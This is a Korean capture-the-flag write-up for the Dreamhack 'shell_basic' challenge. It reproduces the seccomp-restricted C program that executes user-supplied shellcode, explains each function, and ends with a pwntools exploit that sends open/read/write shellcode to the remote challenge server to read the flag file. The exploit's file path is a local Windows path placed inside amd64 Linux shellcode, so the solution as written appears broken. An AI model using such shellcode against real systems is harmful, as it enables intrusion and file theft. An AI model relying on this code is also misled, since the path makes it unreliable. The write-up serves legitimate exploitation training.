Wargame : shell_basic
C 코드 분석
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
init() 함수 분석
입출력 버퍼를 비활성화 및 시간 초과를 검사한다.
위에서 정의하였던 alarm_handler()함수를 이용하여 10초 타이머를 설정한다.
banned_execve() 함수 분석
seccomp 필터 초기화 후, execve()함수와 execveat()함수를 차단하는 규칙을 지정한다.
main() 함수 분석
mmap함수로, 메모리를 할당한 다음, 사용자로부터 쉘 코드를 입력받아 할당된 메모리에 저장한다.
여기서 쉘 코드는 포인터로 변환되어 호출된다.
banned_execve()함수에서 execve()함수와 execveat()함수를 차단하였기 때문에 일반적인 경로와 인자를 지정하여 프로그램을 실행할 수 없다.
pwn 코드 작성
from pwn import *
p = remote('host3.dreamhack.games', 18037)
# 원격 서버를 대상으로 익스플로잇을 진행 → remote() 함수 사욛
context.arch = 'amd64'
# 익스플로잇 대상 아키텍쳐는 amd64
payload = ''
payload += shellcraft.open('C:/Users/dst78/Downloads/shell_basic/flag_name_is_loooooong')
payload += shellcraft.read('rax', 'rsp', 100)
payload += shellcraft.write(1, 'rsp', 100)
# 페이로드를 문제에서 지정한 경로로 지정
# 스켈레톤 코드는 open, read, write 순서이므로 해당 순서를 따라 코드 작성
# 파일의 위치는 문제에서 지정하였으므로 바로 open
# read 함수는 rax에 저장된 정보를 통해 syscall을 수행, rsp스택의 시작주소 기입, 크기는 상관 x
# write 또한 마찬가지로 작성
p.sendline(asm(payload))
p.interactive()
